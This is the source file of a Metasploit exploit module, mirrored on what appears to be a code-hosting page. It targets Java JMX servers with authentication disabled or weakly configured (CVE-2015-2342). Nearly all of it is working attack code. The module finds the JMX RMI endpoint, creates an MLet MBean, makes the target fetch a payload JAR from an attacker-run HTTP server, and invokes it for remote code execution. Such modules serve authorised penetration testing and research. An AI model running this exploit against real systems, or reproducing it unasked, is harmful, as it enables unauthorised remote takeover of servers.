Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/java_jmx_server.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer9include Msf::Exploit::Remote::Java::Rmi::Client1011def initialize(info = {})12super(update_info(info,13'Name' => 'Java JMX Server Insecure Configuration Java Code Execution',14'Description' => %q{15This module takes advantage a Java JMX interface insecure configuration, which would16allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication17disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while18interfaces with authentication enabled will be vulnerable only if a weak configuration19is deployed (allowing to use javax.management.loading.MLet, having a security manager20allowing to load a ClassLoader MBean, etc.).21},22'Author' =>23[24'Braden Thomas', # Attack vector discovery25'juan vazquez' # Metasploit module26],27'License' => MSF_LICENSE,28'References' =>29[30['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],31['URL', 'https://www.optiv.com/blog/exploiting-jmx-rmi'],32['CVE', '2015-2342']33],34'Platform' => 'java',35'Arch' => ARCH_JAVA,36'Privileged' => false,37'Payload' => { 'BadChars' => '', 'DisableNops' => true },38'Stance' => Msf::Exploit::Stance::Aggressive,39'DefaultOptions' =>40{41'WfsDelay' => 1042},43'Targets' =>44[45[ 'Generic (Java Payload)', {} ]46],47'DefaultTarget' => 0,48'DisclosureDate' => '2013-05-22'49))5051register_options([52Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),53Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),54Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])55])56register_common_rmi_ports_and_services57end5859def post_auth?60true61end6263def on_request_uri(cli, request)64if @jar.nil?65p = regenerate_payload(cli)66@jar = p.encoded_jar({random:true})67paths = [68["metasploit", "JMXPayloadMBean.class"],69["metasploit", "JMXPayload.class"],70]7172@jar.add_file('metasploit/', '')73paths.each do |path_parts|74path = ['java', path_parts].flatten.join('/')75contents = ::MetasploitPayloads.read(path)76@jar.add_file(path_parts.join('/'), contents)77end78end7980if request.uri =~ /mlet$/81jar = "#{rand_text_alpha(8 + rand(8))}.jar"8283mlet = "<HTML><mlet code=\"#{@jar.substitutions["metasploit"]}.JMXPayload\" "84mlet << "archive=\"#{jar}\" "85mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" "86mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"87send_response(cli, mlet,88{89'Content-Type' => 'application/octet-stream',90'Pragma' => 'no-cache'91})9293print_status("Replied to request for mlet")94elsif request.uri =~ /\.jar$/i95send_response(cli, @jar.pack,96{97'Content-Type' => 'application/java-archive',98'Pragma' => 'no-cache'99})100print_status("Replied to request for payload JAR")101end102end103104def autofilter105return true106end107108def check109connect110111unless is_rmi?112return Exploit::CheckCode::Safe113end114115mbean_server = discover_endpoint116disconnect117if mbean_server.nil?118return Exploit::CheckCode::Safe119end120121connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })122unless is_rmi?123return Exploit::CheckCode::Unknown124end125126jmx_endpoint = handshake(mbean_server)127disconnect128if jmx_endpoint.nil?129return Exploit::CheckCode::Detected130end131132Exploit::CheckCode::Appears133end134135def exploit136vprint_status("Starting service...")137start_service138139@mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"140connect141142print_status("Sending RMI Header...")143unless is_rmi?144fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")145end146147print_status("Discovering the JMXRMI endpoint...")148mbean_server = discover_endpoint149disconnect150if mbean_server.nil?151fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")152else153print_good("JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")154end155156# First try to connect to the original RHOST, since the mbean address may be inaccessible157begin158connect(true, { 'RPORT' => mbean_server[:port] })159rescue Rex::ConnectionError160# If that fails, try connecting to the listed address instead161connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })162end163164unless is_rmi?165fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")166end167168print_status("Proceeding with handshake...")169jmx_endpoint = handshake(mbean_server)170if jmx_endpoint.nil?171fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")172else173print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")174end175176print_status("Loading payload...")177unless load_payload(jmx_endpoint)178fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")179end180181print_status("Executing payload...")182send_jmx_invoke(183object_number: jmx_endpoint[:object_number],184uid_number: jmx_endpoint[:uid].number,185uid_time: jmx_endpoint[:uid].time,186uid_count: jmx_endpoint[:uid].count,187object: "#{@mlet}:name=jmxpayload,id=1",188method: 'run'189)190disconnect191end192193def is_rmi?194send_header195ack = recv_protocol_ack196if ack.nil?197return false198end199200true201end202203def discover_endpoint204rmi_classes_and_interfaces = [205'javax.management.remote.rmi.RMIConnectionImpl',206'javax.management.remote.rmi.RMIConnectionImpl_Stub',207'javax.management.remote.rmi.RMIConnector',208'javax.management.remote.rmi.RMIConnectorServer',209'javax.management.remote.rmi.RMIIIOPServerImpl',210'javax.management.remote.rmi.RMIJRMPServerImpl',211'javax.management.remote.rmi.RMIServerImpl',212'javax.management.remote.rmi.RMIServerImpl_Stub',213'javax.management.remote.rmi.RMIConnection',214'javax.management.remote.rmi.RMIServer'215]216ref = send_registry_lookup(name: datastore['JMXRMI'])217return nil if ref.nil?218219unless rmi_classes_and_interfaces.include? ref[:object]220vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}")221return nil222end223224ref225end226227def handshake(mbean)228begin229opts = {230object_number: mbean[:object_number],231uid_number: mbean[:uid].number,232uid_time: mbean[:uid].time,233uid_count: mbean[:uid].count234}235236if datastore['JMX_ROLE']237username = datastore['JMX_ROLE']238password = datastore['JMX_PASSWORD']239opts.merge!(username: username, password: password)240end241242ref = send_new_client(opts)243rescue ::Rex::Proto::Rmi::Exception => e244vprint_error("JMXRMI discovery raised an exception of type #{e.message}")245return nil246end247248ref249end250251def load_payload(conn_stub)252vprint_status("Getting JMXPayload instance...")253254begin255res = send_jmx_get_object_instance(256object_number: conn_stub[:object_number],257uid_number: conn_stub[:uid].number,258uid_time: conn_stub[:uid].time,259uid_count: conn_stub[:uid].count,260name: "#{@mlet}:name=jmxpayload,id=1"261)262rescue ::Rex::Proto::Rmi::Exception => e263case e.message264when 'javax.management.InstanceNotFoundException'265vprint_warning("JMXPayload instance not found, trying to load")266return load_payload_from_url(conn_stub)267else268vprint_error("getObjectInstance returned unexpected exception #{e.message}")269return false270end271end272273274return false if res.nil?275276true277end278279def load_payload_from_url(conn_stub)280vprint_status("Creating javax.management.loading.MLet MBean...")281282begin283res = send_jmx_create_mbean(284object_number: conn_stub[:object_number],285uid_number: conn_stub[:uid].number,286uid_time: conn_stub[:uid].time,287uid_count: conn_stub[:uid].count,288name: 'javax.management.loading.MLet'289)290rescue ::Rex::Proto::Rmi::Exception => e291case e.message292when 'javax.management.InstanceAlreadyExistsException'293vprint_good("javax.management.loading.MLet already exists")294res = true295when 'java.lang.SecurityException'296vprint_error(" The provided user hasn't enough privileges")297res = nil298else299vprint_error("createMBean raised unexpected exception #{e.message}")300res = nil301end302end303304if res.nil?305vprint_error("The request to createMBean failed")306return false307end308309vprint_status("Getting javax.management.loading.MLet instance...")310begin311res = send_jmx_get_object_instance(312object_number: conn_stub[:object_number],313uid_number: conn_stub[:uid].number,314uid_time: conn_stub[:uid].time,315uid_count: conn_stub[:uid].count,316name: 'DefaultDomain:type=MLet'317)318rescue ::Rex::Proto::Rmi::Exception => e319vprint_error("getObjectInstance returned unexpected exception: #{e.message}")320return false321end322323if res.nil?324vprint_error("The request to GetObjectInstance failed")325return false326end327328vprint_status("Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")329330begin331res = send_jmx_invoke(332object_number: conn_stub[:object_number],333uid_number: conn_stub[:uid].number,334uid_time: conn_stub[:uid].time,335uid_count: conn_stub[:uid].count,336object: 'DefaultDomain:type=MLet',337method: 'getMBeansFromURL',338args: { 'java.lang.String' => "#{get_uri}/mlet" }339)340rescue ::Rex::Proto::Rmi::Exception => e341vprint_error("invoke() returned unexpected exception: #{e.message}")342return false343end344345if res.nil?346vprint_error("The call to getMBeansFromURL failed")347return false348end349350true351end352end353354355